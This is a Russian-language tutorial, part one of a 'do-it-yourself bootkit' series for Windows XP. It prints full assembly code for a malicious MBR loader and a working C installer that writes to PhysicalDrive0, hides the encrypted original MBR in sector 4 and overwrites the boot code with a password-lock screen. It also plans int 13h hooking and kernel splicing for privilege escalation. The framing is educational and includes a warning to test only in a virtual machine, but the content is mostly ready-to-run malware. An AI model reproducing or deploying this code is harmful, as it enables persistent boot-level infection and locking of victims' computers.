Bootkit своими руками — Часть 1
Пособие для детей дошкольного возраста
Думаю, каждый, кто увлекается вирусологией слышал такие слова, как «руткит» или «буткит». Все непосвящённые назовут такую крутую штуку вирусом и пойдут дальше заниматься своими делами. Но давайте разберёмся, что на самом деле может сделать bootkit с системой. А может он практически всё в зависимости от фантазии кодера. Самое основное — это повышение привилегий до уровня системы и перехват функций ядра, в общем, обычный руткит, только запускается он ещё до загрузки операционной системы. В этом цикле статей мы напишем свой буткит в учебных целях, который после старта системы будет запускать калькулятор. А если повезёт, то не только запускать будет, но и повышать привилегии. На самом деле, написание буткита очень полезно для закрепления знаний архитектуры системы. Это занятие повышенной сложности ввиду того, что трудно понять причину ошибки из-за отсутствия нормальной отладки. Писать мы будем под любимую Windows XP. Прежде чем начать, убедитесь, что у вас есть все тулзы из списка:
- Windows XP на виртуальной машине
- C++
- Turbo Assembler
- Hiew
- Bochs (опционально)
Внимание! Все испытания производить строго на виртуальной машине, иначе ваша система рискует вообще не стартануть. Прежде чем начать, давайте повторим теоретическую часть и составим алгоритм, которого будем придерживаться.
Когда мы тыкаем на кнопку включения компа, загружается BIOS, он делает все свои дела по проверке компа на живучесть и, если всё хорошо, читает самый первый сектор первого диска в память по адресу 0:7c00h и джампует на него. Первый сектор первого диска называется MBR. Вот сюда-то и пишется первая часть буткита. MBR состоит из 3 частей. Первая часть — это код, занимать он может не больше 446 байт, вторая часть — таблица разделов — Partition Table. PT состоит из 4 записей, каждая из которых занимает по 16 байт. И последняя часть — сигнатурка 0x55aa. Да, она занимает два байта, но, если её не будет, система не будет грузиться дальше. Из PT можно узнать какой раздел с какого сектора начинается, какого он размера, является ли он активным или нет. Есть буткиты, которые не заражают MBR, а заражают загрузочный сектор. Не путайте эти понятия! Загрузочный сектор — это самый первый сектор относительно активного раздела, а MBR — относительно диска. Код в MBR будет выполнять две задачи. Первая — перехват функций 2h и 42h 13h прерывания BIOS, считывание оригинального MBR в память и переход на его код. Функции данного прерывания BIOS осуществляют чтение секторов диска. Перехват этих функций даст контроль над тем, что будет считываться дальше. Настанет момент, когда система будет читать ntoskrnl.exe. Он-то нам и нужен. Перехватив прерывание, мы можем просплайсить любую понравившуюся нам функцию, главное, чтобы она вызывалась виндой. Это даст нам то, что при переходе в защищённый режим мы никуда не потеряемся. Как только вызовется перехваченная функция, наш обработчик должен будет выполнить полезную нагрузку, например, извлечь из секторов заранее записанную информацию (calc.exe или драйвер) в файл и снять перехват. В принципе это всё. Кстати, некоторые буткиты ещё устанавливают шлюз в GDT вместо того, чтобы грузить драйвер. Итак, первое, что мы попытаемся сделать — это просто загрузить ОС используя модифицированный MBR. Задача инсталлятора такая: прочитать 1 сектор диска, заксорить его и записать в 4 сектор диска. После этого переписать первые 446 байт MBR кодом загрузчика нашего буткита. PT мы трогать не будем, так как эта важная информация, если её изменить, то система потеряет все свои файлы и не загрузится. Чтобы было интереснее на первом этапе, накодим себе код mbr, который будет осуществлять нам дополнительную защиту: перед загрузкой ос надо будет ввести пароль, если он правильный, то система загрузится. Ввод получился таким:
.386 LOCALS org 7c00h CODE SEGMENT USE16 ASSUME CS: CODE, DS: CODE, SS: CODE START: nop ;flag of infected cli xor ax, ax mov ds, ax mov sp, 0FFFFh sub word ptr ds:413h, 1h mov ax, ds:413h sti shl ax, 6 cld mov es, ax xor di, di mov si, 7c00h mov cx, 200h rep movsb push es push offset @@read_orig retf ;;;;;;;;ISR of int13h;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; @@read_orig: xor ax, ax mov es, ax mov dx, es mov bx, 7c00h mov ah, 2 mov al, 1 mov cx, 4 ;0x200* (4-1) = 0x600 на диске mov dx, 80h int 13h mov cx, 200h mov al, 90h mov si, bx @@decrypt: xor byte ptr es:[si], al inc si loop @@decrypt push es push bx @@password_loop: mov ax, 3 int 10h mov ah, 0Eh mov bx, cs mov ds, bx mov es, bx xor bx, bx lea si, EnterPassword @@passwd: ;вывод предложения о вводе пасса lodsb test al, al jz @@enter int 10h jmp @@passwd lea si, password @@enter: xor ax, ax ;ввод символа int 16h mov ah, 0Eh int 10h ;вывод на экран xor al, 90h cmp al, byte ptr cs:[si] jnz @@password_loop inc si cmp byte ptr cs:[si], 0 jz @@stop_enter jmp @@enter @@stop_enter: pop bx pop es push 0 push 7c00h retf OldSeg dw 0 OldOff dw 0 EnterPassword db 'Enter Password For Unlock Your Computer: ',0 password db 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0 times db 510-($-START) dup (0) db 55h, 0AAh CODE ENDS END START
Осталось скомпилировать код и записать бинарник в MBR. Немного пояснений. Первым делом загрузчик должен перенести себя в другое место памяти. В какое именно — не так важно. В самом начале, в 12 строке кода, мы вычитаем 1 из переменной, которую инициализировал BIOS. Находится она по адресу 0:413h и отвечает за количество оперативной памяти компьютера в килобайтах. Мы откусим для своих нужд 1 кб и скопируем туда код. Операционная система уже никак не сможет обратиться по тому адресу, потому, что она будет думать, что памяти там уже нет. В общем идеальное место. После того, как мы скопировали свою тушу в новое место, выполняем переход туда и остальная работа уже будет делаться там. Первое что тут происходит — это чтение 4 сектора. Напомню, туда инсталлятор скопирует оригинальный MBR, предварительно поксорив его на 0x90. Дальше идёт расшифровка MBR и вывод строки с предложением ввода пароля. Правильность ввода проверяется немножко туповато, но сделать по-нормальному мне лень :-). Если введённый пароль правильный, то происходит переход на оригинальный MBR, и система загрузится, как будто ничего этого и не происходило. Какой пароль, думаю вы и без меня из кода поймёте, а если нет, то отложите затею с буткитом и подучите ассемблер.
Инсталлятор
Откройте получившийся бинарник в каком-нибудь HEX редакторе и скопируйте все байтики. Я сделал это в hiew и заюзал плагин, который мне не только скопировал байтики, но и преобразовал их в сишный массив. Плагин называется mbytes2csrc.hem.
#include <Windows.h> #include <stdio.h> #define MB_BUF_SIZE 0x200 unsigned char marked_bytes[MB_BUF_SIZE] = { 0x90, 0xFA, 0x33, 0xC0, 0x8E, 0xD8, 0xBC, 0xFF, 0xFF, 0x83, 0x2E, 0x13, 0x04, 0x01, 0xA1, 0x13, 0x04, 0xFB, 0xC1, 0xE0, 0x06, 0xFC, 0x8E, 0xC0, 0x33, 0xFF, 0xBE, 0x00, 0x7C, 0xB9, 0x00, 0x02, 0xF3, 0xA4, 0x06, 0x68, 0x29, 0x00, 0xCB, 0x9C, 0x60, 0x33, 0xC0, 0x8E, 0xC0, 0x8C, 0xC2, 0xBB, 0x00, 0x7C, 0xB4, 0x02, 0xB0, 0x01, 0xB9, 0x04, 0x00, 0xBA, 0x80, 0x00, 0xCD, 0x13, 0xB9, 0x00, 0x02, 0xB0, 0x90, 0x8B, 0xF3, 0x26, 0x30, 0x04, 0x46, 0xE2, 0xFA, 0x06, 0x53, 0xB8, 0x03, 0x00, 0xCD, 0x10, 0xB4, 0x0E, 0x8C, 0xCB, 0x8E, 0xDB, 0x8E, 0xC3, 0x33, 0xDB, 0xBE, 0x93, 0x00, 0xAC, 0x84, 0xC0, 0x74, 0x09, 0x90, 0x90, 0xCD, 0x10, 0xEB, 0xF5, 0xBE, 0xBD, 0x00, 0x33, 0xC0, 0xCD, 0x16, 0xB4, 0x0E, 0xCD, 0x10, 0x34, 0x90, 0x2E, 0x3A, 0x04, 0x75, 0xD1, 0x46, 0x2E, 0x80, 0x3C, 0x00, 0x74, 0x04, 0x90, 0x90, 0xEB, 0xE6, 0x5B, 0x07, 0x6A, 0x00, 0x68, 0x00, 0x7C, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x55, 0x6E, 0x6C, 0x6F, 0x63, 0x6B, 0x20, 0x59, 0x6F, 0x75, 0x72, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x75, 0x74, 0x65, 0x72, 0x3A, 0x20, 0x00, 0xA1, 0xA2, 0xA3, 0xA4, 0xBD, 0xA1, 0xA2, 0xA3, 0xA4, 0xBD, 0xA1, 0xA2, 0xA3, 0xA4, 0xBD, 0xA1, 0xA2, 0xA3, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA }; int main() { DWORD rd; BOOL ok; BYTE *pBuf; LPVOID mbr = VirtualAlloc(NULL, MB_BUF_SIZE, MEM_COMMIT, PAGE_READWRITE); LPVOID buf = VirtualAlloc(NULL, MB_BUF_SIZE, MEM_COMMIT, PAGE_READWRITE); HANDLE f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); if (f == INVALID_HANDLE_VALUE) printf("INVALID_HANDLE_VALUE (1)\n"); ok = ReadFile(f, mbr, MB_BUF_SIZE, &rd, NULL); if (!ok) printf("Error Read File (2)\n"); BYTE *p = (BYTE *)mbr; if (*p == 0x90) { CloseHandle(f); printf("Allready Infected!\n"); goto exit; } CloseHandle(f); pBuf = (BYTE *)buf; for (int i=0; i<MB_BUF_SIZE; i++, p++, pBuf++) *pBuf = *p ^ 0x90; f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (f == INVALID_HANDLE_VALUE) printf("INVALID_HANDLE_VALUE (3)\n"); SetFilePointer(f, 512 * (4 - 1), NULL, FILE_BEGIN); ok = WriteFile(f, buf, MB_BUF_SIZE, &rd, NULL); if (!ok) printf("Error Write date (4)\n"); memcpy(mbr, marked_bytes, 0x1bd); SetFilePointer(f, 0, NULL, FILE_BEGIN); WriteFile(f, mbr, MB_BUF_SIZE, &rd, NULL); CloseHandle(f); exit: VirtualFree(mbr, MB_BUF_SIZE, MEM_RELEASE); VirtualFree(buf, MB_BUF_SIZE, MEM_RELEASE); system("pause"); return 0; }
Думаю, тут пояснений не потребуется. Вот что получилось после перезагрузки:

Результат работы
В случае правильного ввода, система продолжает грузиться. В следующей части мы перехватим функции 13h прерывания и решим какую функцию будем сплайсить, чтобы наш код отработал в защищённом режиме.
If you found an error, highlight it and press Shift + Enter or click here to inform us.